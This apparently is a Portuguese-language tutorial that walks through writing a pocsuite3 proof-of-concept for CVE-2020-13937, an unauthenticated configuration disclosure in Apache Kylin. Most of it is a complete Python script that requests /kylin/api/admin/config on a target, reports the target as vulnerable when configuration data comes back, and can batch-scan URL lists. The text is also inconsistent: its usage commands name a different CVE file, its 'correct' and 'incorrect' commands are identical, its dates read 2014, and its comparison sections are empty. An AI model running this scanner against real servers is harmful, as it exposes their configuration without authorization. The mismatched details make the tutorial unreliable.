
Apache Kylin tem uma restful api que expõe informações de configuração sem qualquer autenticação.
Apache Kylin possui uma API RESTful que expõe informações de configuração sem qualquer autenticação.
Comparação com vulnerabilidade

Comparação sem vulnerabilidade

Escrevendo o PoC


Verificação correta de URL única: pocsuite -r CVE-2022-26134.py -u url

Verificação incorreta de URL única: pocsuite -r CVE-2022-26134.py -u url

Varredura em lote: pocsuite -r CVE-2022-26134.py -u url.txt

from collections import OrderedDict
from pocsuite3.api import (
Output,
POCBase,
POC_CATEGORY,
register_poc,
requests,
VUL_TYPE,
get_listener_ip,
get_listener_port,
)
from pocsuite3.lib.core.interpreter_option import (
OptString,
OptDict,
OptIP,
OptPort,
OptBool,
OptInteger,
OptFloat,
OptItems,
)
from pocsuite3.modules.listener import REVERSE_PAYLOAD
# Acima estão apenas várias importações de módulos. Alguns são usados, outros cinza indicam que não utilizam o conteúdo do módulo.
class DemoPOC(POCBase):
vulID = "1571" # ID ssvid. Se for submetido junto com a vulnerabilidade, escreva 0
version = "1" # Padrão 1
author = "kailing0220" # Nome do autor do PoC
vulDate = "2014-10-16" # Data de divulgação da vulnerabilidade, se não souber, coloque a data de hoje
createDate = "2014-10-16" # Data de criação do PoC
updateDate = "2014-10-16" # Data de atualização do PoC, padrão igual à data de criação
references = ["http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Kylin%20config%20%E6%9C%AA%E6%8E%88%E6%9D%83%E9%85%8D%E7%BD%AE%E6%B3%84%E9%9C%B2%20CVE-2020-13937.html"] # Fonte do endereço da vulnerabilidade, não escreva para 0day
name = "CVE-2020-13937 PoC" # Nome do PoC
appPowerLink = "http://wiki.peiqi.tech/wiki/webserver/Apache/Apache%20Kylin%20config%20%E6%9C%AA%E6%8E%88%E6%9D%83%E9%85%8D%E7%BD%AE%E6%B3%84%E9%9C%B2%20CVE-2020-13937.html" # Endereço da página do fabricante da vulnerabilidade
appName = "CVE-2020-13937" # Nome da aplicação vulnerável
appVersion = "all" # Versão afetada pela vulnerabilidade
vulType = VUL_TYPE.UNAUTHORIZED_ACCESS # Tipo de vulnerabilidade, consulte a tabela de tipos de vulnerabilidade
category = POC_CATEGORY.EXPLOITS.WEBAPP
samples = [] # Amostras de teste, ou seja, sites testados com sucesso pelo PoC
install_requires = [] # Dependências de módulos de terceiros do PoC. Evite usar módulos de terceiros. Se necessário, consulte "Instruções de dependência de módulos de terceiros do PoC"
desc = """
Apache Kylin possui uma API RESTful que expõe informações de configuração sem qualquer autenticação.
""" # Breve descrição da vulnerabilidade
pocDesc = """
Descrição do uso do PoC
""" # Descrição do uso do PoC
# Definição de várias variáveis, descrição sobre o PoC
def _check(self):
# Código de verificação da vulnerabilidade
headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
result = []
# Um tratamento de exceção, para evitar que o site esteja inacessível, a requisição falhe e o código pare de funcionar
try:
url = self.url.strip() + "/kylin/api/admin/config" # self.url é o parâmetro -u que você especificou
res = requests.get(url=url, headers=headers, verify=False, allow_redirects=False, timeout=9)
# Verifica se a vulnerabilidade existe
if res.status_code == 200 and 'config' in res.text:
result.append(url)
except Exception as e:
print(e)
# Junto com try...except, será executado independentemente de haver erro ou não
finally:
return result
def _verify(self):
# Modo de verificação, chama o código de verificação
result = {}
res = self._check() # res é a lista de resultados retornada
if res:
result['VerifyInfo'] = {}
result['VerifyInfo']['Info'] = self.name
result['VerifyInfo']['vul_url'] = self.url
result['VerifyInfo']['vul_detail'] = self.desc
return self.parse_verify(result)
def _attack(self):
# Modo de ataque, apenas chama o modo de verificação
return self._verify()
def parse_verify(self, result):
# Analisa a verificação, saída
output = Output(self)
# Verifica se há vulnerabilidade com base no valor booleano de result
if result:
output.success(result)
else:
output.fail('Target is not vulnerable')
return output
def other_fuc():
pass
def other_utils_func():
pass
# Registra a classe DemoPOC
register_poc(DemoPOC)